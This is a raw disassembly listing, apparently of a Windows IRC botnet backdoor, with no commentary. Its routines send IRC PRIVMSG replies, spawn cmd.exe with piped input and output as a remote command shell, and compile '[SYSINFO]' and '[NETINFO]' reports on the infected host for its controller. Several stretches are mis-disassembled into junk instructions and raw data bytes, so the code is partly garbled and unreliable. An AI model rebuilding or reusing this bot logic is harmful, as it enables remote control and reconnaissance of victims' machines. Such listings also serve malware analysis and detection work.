		leave
		retn
sub_408A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408AC9	proc near		; CODE XREF: seg000:00408C23p
					; seg000:00408C42p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_42E348
		push	[ebp+arg_4]
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408B0C
		push	7D0h
		call	ds:dword_41F058	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4135AD
		add	esp, 10h
		jmp	short loc_408B23
; ---------------------------------------------------------------------------


loc_408B0C:				; CODE XREF: sub_408AC9+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4135AD
		add	esp, 0Ch


loc_408B23:				; CODE XREF: sub_408AC9+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42F758
		test	eax, eax
		jg	short loc_408B4C
		call	near ptr loc_408A60+1


loc_408B4C:				; CODE XREF: sub_408AC9+7Cj
		xor	eax, eax
		leave
		retn
sub_408AC9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_42FA60


loc_408B68:				; CODE XREF: seg000:00408BC9j
					; seg000:00408C2Bj
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp-20Ch]
		push	esi
		push	eax
		push	ds:dword_42FA54
		call	near ptr 0A70000h
		lock test eax, eax
		jz	loc_408C36
		cmp	[ebp-4], edi
		jnz	short loc_408BCB
		lea	eax, [ebp-8]
		push	eax
		push	ds:dword_42FA50
		call	near ptr 0A70000h
		icebp
		test	eax, eax
		jz	short loc_408BC1
		cmp	dword ptr [ebp-8], 103h
		jnz	near ptr loc_408C59+1


loc_408BC1:				; CODE XREF: seg000:00408BB2j
		push	0Ah
		call	ds:dword_41F058	; Sleep
		jmp	short loc_408B68
; ---------------------------------------------------------------------------


loc_408BCB:				; CODE XREF: seg000:00408B9Ej
		xor	eax, eax
		cmp	[ebp-4], edi
		jbe	short loc_408BE2


loc_408BD2:				; CODE XREF: seg000:00408BE0j
		cmp	byte ptr [ebp+eax-20Ch], 0Ah
		jz	short loc_408C30
		inc	eax
		cmp	eax, [ebp-4]
		jb	short loc_408BD2


loc_408BE2:				; CODE XREF: seg000:00408BD0j
		mov	[ebp-4], esi


loc_408BE5:				; CODE XREF: seg000:00408C34j
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		lea	eax, [ebp-20Ch]
		push	eax
		push	ds:dword_42FA54
		call	ds:dword_41F094	; ReadFile
		test	eax, eax
		jz	short loc_408C82
		lea	eax, [ebp-20Ch]
		push	eax
		push	ebx
		push	ds:dword_42FA94
		call	sub_408AC9
		add	esp, 0Ch
		jmp	loc_408B68
; ---------------------------------------------------------------------------


loc_408C30:				; CODE XREF: seg000:00408BDAj
		inc	eax
		mov	[ebp-4], eax
		jmp	short loc_408BE5
; ---------------------------------------------------------------------------


loc_408C36:				; CODE XREF: seg000:00408B95j
		push	offset dword_42768C
		push	ebx
		push	ds:dword_42FA94
		call	sub_408AC9
		push	dword ptr [ebp+8]
		call	sub_413375
		add	esp, 10h
		push	1
		call	near ptr 0A70000h


loc_408C59:				; CODE XREF: seg000:00408BBBj
		sub	ebp, eax
		add	bh, dh
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	68h
		dd offset dword_427650
		dd 9435FF53h, 0E80042FAh, 0FFFFFE59h, 0E80875FFh, 0A6FDh
		dd 5710C483h, 66737FE8h
		db 0, 2
; ---------------------------------------------------------------------------


loc_408C82:				; CODE XREF: seg000:00408C13j
		push	offset dword_42760C
		push	ebx
		push	ds:dword_42FA94
		call	sub_408AC9
		push	dword ptr [ebp+8]
		call	sub_413375
		add	esp, 10h
		push	edi
		call	near ptr 0A70000h
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------


loc_408CA5:				; CODE XREF: seg000:00409A78p
					; seg000:0041051Ep
		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	near ptr loc_408A60+1
		xor	esi, esi
		lea	eax, [ebp-178h]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:dword_42F7C4
		test	eax, eax
		jz	near ptr loc_408D9A+5
		push	1
		lea	eax, [ebp-1Ch]
		pop	ebx
		mov	edi, ds:dword_41F0F8
		push	esi
		push	eax
		lea	eax, [ebp-0Ch]
		mov	dword ptr [ebp-1Ch], 0Ch
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		mov	[ebp-14h], ebx
		mov	[ebp-18h], esi
		call	edi ; dword_41F0F8
		test	eax, eax
		jz	near ptr loc_408D9A+5
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		call	edi ; dword_41F0F8
		test	eax, eax
		jz	near ptr loc_408D9A+5
		mov	edi, ds:dword_41F000
		push	3
		push	esi
		push	esi
		push	offset dword_42FA58
		call	edi ; dword_41F000
		push	eax
		push	dword ptr [ebp-8]
		call	edi ; dword_41F000
		push	eax
		call	near ptr 0A70000h
		push	esi
		test	eax, eax
		jz	short near ptr loc_408D9A+5
		push	10h
		lea	eax, [ebp-2Ch]
		push	esi
		push	eax
		call	sub_413630
		push	44h
		lea	eax, [ebp-74h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_413630
		mov	eax, [ebp-4]
		add	esp, 18h
		mov	[ebp-3Ch], eax
		mov	eax, [ebp-0Ch]
		mov	[ebp-38h], eax
		mov	[ebp-34h], eax
		lea	eax, [ebp-2Ch]
		mov	[ebp-74h], edi
		push	eax
		lea	eax, [ebp-74h]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_42E348
		push	esi
		lea	eax, [ebp-178h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-48h], 101h
		mov	[ebp-44h], si
		call	near ptr 0A70000h


loc_408D9A:				; CODE XREF: seg000:00408CD4j
					; seg000:00408D01j ...
		test	byte ptr [ebp-7CF78A40h], 0C8h
; ---------------------------------------------------------------------------
		db 0FFh, 0E9h, 0AEh
		dd 0FF000000h, 3D8BFC75h, 41F070h, 458BD7FFh, 0D875FFF0h
		dd 42FA54A3h, 0F8458B00h, 42FA5CA3h, 0D4458B00h, 42FA50A3h
		dd 8BD7FF00h, 75390845h, 0FA94A30Ch, 5740042h, 0EB0C75FFh
		dd 60685301h, 0E80042FAh, 0A7C1h, 6A565959h, 77186807h
		dd 5EE80042h, 8B0000A2h, 0DC4D8BF8h, 234FF69h, 0C4830000h
		dd 0A08F890Ch, 8D004348h, 5651D04Dh, 8B506850h,	56560040h
		dd 0F06C15FFh, 0C63B0041h, 48AC8789h, 27750043h, 0F06815FFh
		dd 8D500041h, 0FFFC8885h, 76D068FFh, 0E8500042h, 0A769h
		dd 0FC88858Dh, 0E850FFFFh, 7C5h, 3310C483h, 5B5E5FC0h
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_408E5A	proc near		; CODE XREF: sub_4055DD+74p
					; sub_408F79+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_41F044	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_42FA9C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_413B2A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_408E5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_408EC3	proc near		; CODE XREF: sub_408F79+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_408ECB:				; CODE XREF: sub_408EC3+2Fj
					; sub_408EC3+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	ds:dword_41F058	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_415370
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_408ECB
		jb	short loc_408EFA
		cmp	ebx, esi
		ja	short loc_408ECB


loc_408EFA:				; CODE XREF: sub_408EC3+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4152F0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_408F6D
		jb	short loc_408F19
		cmp	esi, 50h
		jnb	short loc_408F1E


loc_408F19:				; CODE XREF: sub_408EC3+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_408F1E:				; CODE XREF: sub_408EC3+54j
		test	ecx, ecx
		ja	short loc_408F6D
		jb	short loc_408F29
		cmp	esi, 47h
		jnb	short loc_408F2E


loc_408F29:				; CODE XREF: sub_408EC3+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_408F2E:				; CODE XREF: sub_408EC3+64j
		test	ecx, ecx
		ja	short loc_408F6D
		jb	short loc_408F39
		cmp	esi, 37h
		jnb	short loc_408F3E


loc_408F39:				; CODE XREF: sub_408EC3+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_408F3E:				; CODE XREF: sub_408EC3+74j
		test	ecx, ecx
		ja	short loc_408F6D
		jb	short loc_408F49
		cmp	esi, 26h
		jnb	short loc_408F4E


loc_408F49:				; CODE XREF: sub_408EC3+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_408F4E:				; CODE XREF: sub_408EC3+84j
		test	ecx, ecx
		ja	short loc_408F6D
		jb	short loc_408F59
		cmp	esi, 1Eh
		jnb	short loc_408F5E


loc_408F59:				; CODE XREF: sub_408EC3+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_408F5E:				; CODE XREF: sub_408EC3+94j
		test	ecx, ecx
		ja	short loc_408F6D
		jb	short loc_408F69
		cmp	esi, 0Ah
		jnb	short loc_408F6D


loc_408F69:				; CODE XREF: sub_408EC3+9Fj
		xor	eax, eax
		xor	edx, edx


loc_408F6D:				; CODE XREF: sub_408EC3+4Dj
					; sub_408EC3+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_408EC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F79	proc near		; CODE XREF: seg000:0041077Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_42E348
		mov	[ebp+var_CC], 94h
		call	ds:dword_41F0FC	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_409000
		cmp	[ebp+var_C4], ebx
		jnz	short loc_408FDC
		cmp	[ebp+var_BC], 1
		jnz	short loc_408FC6
		mov	[ebp+var_4], offset a95	; "95"


loc_408FC6:				; CODE XREF: sub_408F79+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40907B
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40904C
; ---------------------------------------------------------------------------


loc_408FDC:				; CODE XREF: sub_408F79+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_408FEE
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_409043
; ---------------------------------------------------------------------------


loc_408FEE:				; CODE XREF: sub_408F79+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40903C
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_409043
; ---------------------------------------------------------------------------


loc_409000:				; CODE XREF: sub_408F79+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40903C
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40901A
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_409043
; ---------------------------------------------------------------------------


loc_40901A:				; CODE XREF: sub_408F79+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40902C
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_409043
; ---------------------------------------------------------------------------


loc_40902C:				; CODE XREF: sub_408F79+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_409043


loc_40903C:				; CODE XREF: sub_408F79+7Cj
					; sub_408F79+8Ej
		mov	[ebp+var_4], offset dword_427868


loc_409043:				; CODE XREF: sub_408F79+73j
					; sub_408F79+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40907B


loc_40904C:				; CODE XREF: sub_408F79+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40907B
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_427860
		push	eax
		call	sub_4135AD
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40907B:				; CODE XREF: sub_408F79+54j
					; sub_408F79+D1j ...
		mov	ax, ds:word_42785C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, ds:dword_42F5F4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_4090B4
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C] ; CODE XREF:	sub_408F79+1A4j
		push	ecx
		call	eax ; dword_42F5F4


loc_4090B4:				; CODE XREF: sub_408F79+12Cj
		push	[ebp+arg_4]
		call	sub_408619
		pop	ecx
		push	eax
		call	ds:dword_42F748
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_42F6C0
		cmp	eax, ebx
		jz	short loc_4090DD
		push	dword ptr [eax]
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_4090DD:				; CODE XREF: sub_408F79+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_4090E2:				; CODE XREF: sub_408F79+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4135AD
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 0A70000h
		sahf
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 0A70000h
		jnb	short near ptr loc_4090AB+1
		test	[esi+edi*8+466AFFFFh], esp
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 0A70000h
		shr	dword ptr [edx+20h], 1
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 0A70000h
		das
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4153D8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40A7B6
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_408E5A
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_408619
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40A6A6
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40A6A6
		pop	ecx
		pop	ecx
		push	eax
		call	sub_408EC3
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_413B2A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408F79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40922D	proc near		; CODE XREF: seg000:0040F77Dp
					; seg000:004107ACp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_413630
		add	esp, 0Ch
		cmp	ds:dword_42F7F0, 0
		jnz	short loc_4092A1
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_42F5D8
		test	eax, eax
		jnz	short loc_409282
		lea	eax, [ebp+var_8C]
		push	offset dword_4278DC
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_409282:				; CODE XREF: sub_40922D+40j
		test	[ebp+var_C], 1
		jz	short loc_40929A
		push	offset dword_4278D4


loc_40928D:				; CODE XREF: sub_40922D+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx
		jmp	short loc_4092C0
; ---------------------------------------------------------------------------


loc_40929A:				; CODE XREF: sub_40922D+59j
		push	offset dword_4278D0
		jmp	short loc_40928D
; ---------------------------------------------------------------------------


loc_4092A1:				; CODE XREF: sub_40922D+28j
		mov	esi, offset off_4278CC
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4135AD
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_4135AD
		add	esp, 10h


loc_4092C0:				; CODE XREF: sub_40922D+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_408619
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_413B2A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40922D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4092F3	proc near		; DATA XREF: seg000:0040F952o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_427A20
		call	sub_413630
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_413630
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_413630
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_413630
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_413630
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_413DB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	ds:dword_42F610
		test	eax, eax
		jz	loc_40948D
		cmp	[ebp+var_34], ebx
		jbe	short loc_4093CA
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_414DD0
		add	esp, 0Ch


loc_4093CA:				; CODE XREF: sub_4092F3+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_4093E8
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_414DD0
		add	esp, 0Ch


loc_4093E8:				; CODE XREF: sub_4092F3+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_409402
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_414DD0
		add	esp, 0Ch


loc_409402:				; CODE XREF: sub_4092F3+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40941C
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_414DD0
		add	esp, 0Ch


loc_40941C:				; CODE XREF: sub_4092F3+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	ds:dword_42F6B8
		call	ds:dword_42F6DC
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4094A5
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	ds:dword_42F6D0
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_4094AC
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	ds:dword_42F684
		test	eax, eax
		jz	short loc_409486
		push	offset dword_4279F0
		jmp	short loc_4094B1
; ---------------------------------------------------------------------------


loc_409486:				; CODE XREF: sub_4092F3+18Aj
		push	offset unk_4279A0
		jmp	short loc_4094B1
; ---------------------------------------------------------------------------


loc_40948D:				; CODE XREF: sub_4092F3+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_427970
		push	eax
		call	sub_4135AD
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_4094BF
; ---------------------------------------------------------------------------


loc_4094A5:				; CODE XREF: sub_4092F3+153j
		push	offset unk_427930
		jmp	short loc_4094B1
; ---------------------------------------------------------------------------


loc_4094AC:				; CODE XREF: sub_4092F3+17Bj
		push	offset unk_4278EC


loc_4094B1:				; CODE XREF: sub_4092F3+191j
					; sub_4092F3+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4135AD
		pop	ecx
		pop	ecx


loc_4094BF:				; CODE XREF: sub_4092F3+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_4094EA
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_4110B0
		add	esp, 14h


loc_4094EA:				; CODE XREF: sub_4092F3+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_409615
		pop	ecx
		push	esi
		call	ds:dword_42F73C
		push	[ebp+var_4]
		call	ds:dword_42F73C
		push	[ebp+var_1D8]
		call	sub_413375
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		jmp	far ptr	0EC8Bh:555B5E5Fh ; CODE	XREF: seg000:0040F6B0p
sub_4092F3	endp

; ---------------------------------------------------------------------------
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	esi, offset dword_433B18
		mov	edi, 0B8h


loc_409531:				; CODE XREF: seg000:00409550j
		cmp	byte ptr [esi],	0
		jz	short loc_409554
		push	dword ptr [ebp+8]
		push	esi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409554
		inc	dword ptr [ebp-4]
		add	esi, edi
		cmp	esi, offset dword_434698
		jl	short loc_409531
		jmp	short loc_409596
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: seg000:00409534j
					; seg000:00409543j
		mov	esi, [ebp-4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_433B18[esi]
		push	ebx
		call	sub_413630
		push	17h
		push	dword ptr [ebp+8]
		push	ebx
		call	sub_414DD0
		push	9Fh
		lea	eax, dword_433B30[esi]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_414DD0
		add	esp, 24h
		inc	ds:dword_4283B8
		pop	ebx


loc_409596:				; CODE XREF: seg000:00409552j
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40959D	proc near		; CODE XREF: seg000:004108E7p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_427A30
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_433B18


loc_4095C7:				; CODE XREF: sub_40959D+72j
		cmp	byte ptr [esi],	0
		jz	short loc_409602
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_427A24
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_413B2A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 2Ch


loc_409602:				; CODE XREF: sub_40959D+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_434698
		jl	short loc_4095C7
		pop	edi
		pop	esi
		leave
		retn
sub_40959D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409615	proc near		; CODE XREF: start+97p
					; seg000:004013C6p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

